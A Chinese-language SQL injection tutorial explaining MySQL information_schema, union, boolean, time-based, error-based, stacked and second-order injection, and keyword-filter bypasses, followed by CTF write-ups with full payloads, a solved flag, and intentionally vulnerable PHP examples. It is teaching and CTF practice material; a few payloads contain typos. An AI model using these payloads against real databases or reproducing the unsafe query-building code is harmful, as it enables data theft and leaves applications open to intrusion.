SQL注入基本知识
文章目录
1.数据库相关知识
1.1information_schema:MySql默认的数据库
- SCHEMATA:
存储用户创建的所有数据库的库名,记录数据库的字段名
库名-----SCHEMA_NAME - TABLES:
存储用户创建的所有数据库的库名和表名,对应的的字段名
库名-----TABLE_SCHEMA 表名------TABLE_NAME - COLUMNS:
存储用户创建的所有数据库的库名、表名、字段名
库名-----TABLE_SCHEMA 表名-----TABLE_NAME
字段名-----COLUMN_NAME
1.2Mysq查询语句
- SELECT 字段名 FROM 库名.表名
- SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名=‘已知的值’
- SELECT 字段名 FROM 库名.表名 WHERE 已知的字段名1=‘已知的值1’ AND 已知的字段名2=‘已知的值2’
2.攻击方式
2.1Union 注入
- order by 查询数据表的字段数量
例:id=1 order by 3 页面结果与id=1相同, id=1 order by 4页面结果与id=1不同,则字段数量为3. - union select 爆显示点
例:id=-1 union select 1,2,3 页面返回2、3,则表示2和3的位置可以输入MySQL语句di - MySQL语句
例:先在2的位置上用database()函数查询当前数据库名称–‘sql’,接着查询所得的该数据库的一个表名’emails’,再得到数据库名称和表名后查询字段名’email_id’,最后获得所需要的数据
id = 1 union select 1,database(),3;
id = 1 union select 1,tabel_name from information_schema.tables where table_schema='sql' limit 0,1;,3
id = 1 union select 1,column_name from information_schema.columns where table_schema='sql' and table_name='emails' limit 0,1;,3
id = 1 union select 1,email_id from sql.emails limit 0,1;,3
2.2Boolean 注入
- 在页面不返回数据库中的数据时,尝试Boolean注入
- 判断数据库的长度,尝试n的不同数值,由页面返回状况得到数据库长度
id = '1' and length(database()) >= n --+
- 逐字符判断获取数据库库名,变量处可以用burpsuit进行爆破,同样的方法判断表名是
id = '1' and substr(database(),1,1)='t' --+
id = '1' and substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e' --+
时间注入形式
id ='1' and if(substr((select table_name from information_schema.tables where table_schema= 'sql' limit 0,1)1,1))='e',sleep(3),1) --+
2.3报错注入
- 根据页面返回错误信息,利用updataxml()等函数获取数据
例:updatexml()获取数据库test的表名
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
2.4堆叠查询注入
1.判断条件:如果用id=1’ 显示mysql错误 id=1’# 页面返回正常结果可以尝试堆叠注入
2. 注入代码实例
id = '1';select if(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23
2.5二次注入
- 1.php注册页面代码分析
<?php
$con=mysqli_connect("localhost","root","root","sql");
if(mysqli_connect_errno())
{
echo "连接失败:".mysqli_connect_error();
}
$username = $_GET['username'];
$password = $_GET['password'];
$result = mysqli_query($con,"insert into users(`username`,`password`) values('".addslashes($username)."','"md5($password)."')");
echo "新id为:".mysqli_insert_id($con);
?>
- 该页面用GET方式获得password和username参数并拼接到insert语句插入到数据库
- 参数usernmae使用了addslashes($username)函数进行转义
addslashes()示例:
转义字符o’reilly ----> o’\reilly 使数据被插入到数据库时保留为o’reily - 参数password使用了md5加密后插入到数据库
- 在注册后 会返回一个登录的id
2.php访问页面代码分析
<?php
$con=mysqli_connect("localhost","root","123456","test");
if (mysqli_connect_errno())
{
echo "连接失败:".mysqli_connect_error();
}
$id =intval($_GET['id']);
$result = mysqli_query($con,"select *from users where `id`=".$id);
$row = mysqli_fetch_array($result);
$username = $row['username'];
$result2 = mysqli_query($con,"select * from person where `username`='".$username."'");
if($row2 = mysqli_fetch_array($result2)){
echo $row2['username'].":".$row2['money'];
}
else{
echo mysqli_error($con);}
?>
- 用Get方式获得参数id,并使用intval()函数确保其为整型拼接到SQL语句查询users表中的username
- 接着到person表查询username对应的数据
注入实例
利用test’在2.php中的错误 去查询union后的内容
1.首先尝试1.php?username=test’ 返回的ID为21,访问2.php?id=21将会报错
2.接着尝试1.php?usename=test’ order by n%23 访问对应的id界面去判断数据库表中一共有多少个字段
3.假设有3个字段 则访问1.php?username=test’ union select 1,user(),3%23
获得新id=40 访问2.php?id=40 得到user()的结果
3.SQL注入绕过
3.1大小写绕过注入
例:
访问id=1 and 1=1页面返回"no hacker",很明显是关键词被过滤,尝试id=1 And 1=1等
3.2双写绕过注入
例:
访问id = 1 and 1=1,页面报出MySQL错误,从错误信息可以看出 and 1=1 变成 1=1,则关键字and被过滤了,使用双写绕过 id =1 aandnd 1=2;
or ==> oorr 、From ==>FFromrom 等
4.几道简单的实例题目
4.1[极客大挑战2019]Lovesql解题思路
- 尝试利用union注入,先判断字段数量 1’ order by 3# 与1’ order by 4#,页面返回不同,所有推出字段数量为3.
- 接着尝试爆点 1’ union select 1,2,3#
- 接着尝试利用union select 1,2,3# 中的三的位置去获得数据库的信息
payload: 1' union select 1,2,database()#
payload: 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="geek"#
payload: 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="l0ve1ysq1"#
payload: 1' union select 1,2,group_concat(password) from l0ve1ysq1#
可以得到flag:
4.2[极客大挑战 2019]BabySQL
思路同4.1,在4.1的基础上加了双写绕过,直接给步骤的payload。
爆显–>查数据库–>查表名–>查字段名–>查密码得出flag
1' uniounionn selecselectt 1,2,3#
1' uniounionn selecselectt 1,2,database()#
1' uniounionn selecselectt 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables wherwheree table_schema="geek"#
1' uniounionn selecselectt 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns wherwheree table_name="b4bsql"#
1' uniounionn selecselectt 1,2,group_concat(passwoorrd) frofromm b4bsql#
4.3[强网杯 2019]随便注
- 尝试利用union注入,发现字符串的过滤
- 尝试堆叠注入
- 给思路:查数据库–>查表名–>查字段名
payload: 1';show databases;#
payload: 1';show tables;#
payload: 1';show columns from words;#
payload: 1';show columns from `1919810931114514`;#
可以发现后台默认查询的表是words,可以通过改表明去查询1919810931114514表
payload: 1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
1’ or 1=1#得到flag.
4.4 [极客大挑战 2019]HardSQL(报错注入)
解题思路
1.手动尝试union注入,发现union select,空格等字符被过滤
2.尝试报错注入
空格过滤用()代替 =用like select用大写
3.依次拿到数据库名、表名、字段名
4.最后在获取flag的时候发现
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))from(H4rDsq1)),0x7e),1))#
上面的注入方式只能获得部分flag,应该是字符的限制,添加left和right.
admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(table_name))from(information_schema.tables)where(table_schema)like("geek")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(column_name))from(information_schema.columns)where(table_name)like("H4rDsq1")),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(right(password,25)))from(H4rDsq1)),0x7e),1))#
admin'or(updatexml(1,concat(0x7e,(SELECT(group_concat(left(password,25)))from(H4rDsq1)),0x7e),1))#
给个flag
flag{2e150fa9-e37c-4fb6-acb7-c89f5e0cdf39}
4.5[GXYCTF2019]BabySQli
- 进去随便输入个密码抓个包
- 给了一个base32编码的提示 先base32解码 再base64解码得到
- select * from user where username = ‘$name’
- 先判断一下字段数
1' orderby 3#
发现orderby被过滤了 于是尝试了一下大写绕过 成功判断出字段数为3 - 尝试一下万能密码
- 不出所料 do not hack me!
- 以为是过滤,尝试各种绕过
- 然后选择了看源码(tcl…)
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
- 大概意思是 select的结果第二位要等于admin 第三位要等于密码md5加密
- 选密码为123 md5加密后为202cb962ac59075b964b07152d234b70
- 所以payload如下
username:wtcl' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123
get flag!想到就不难 想不到能做裂开的一道题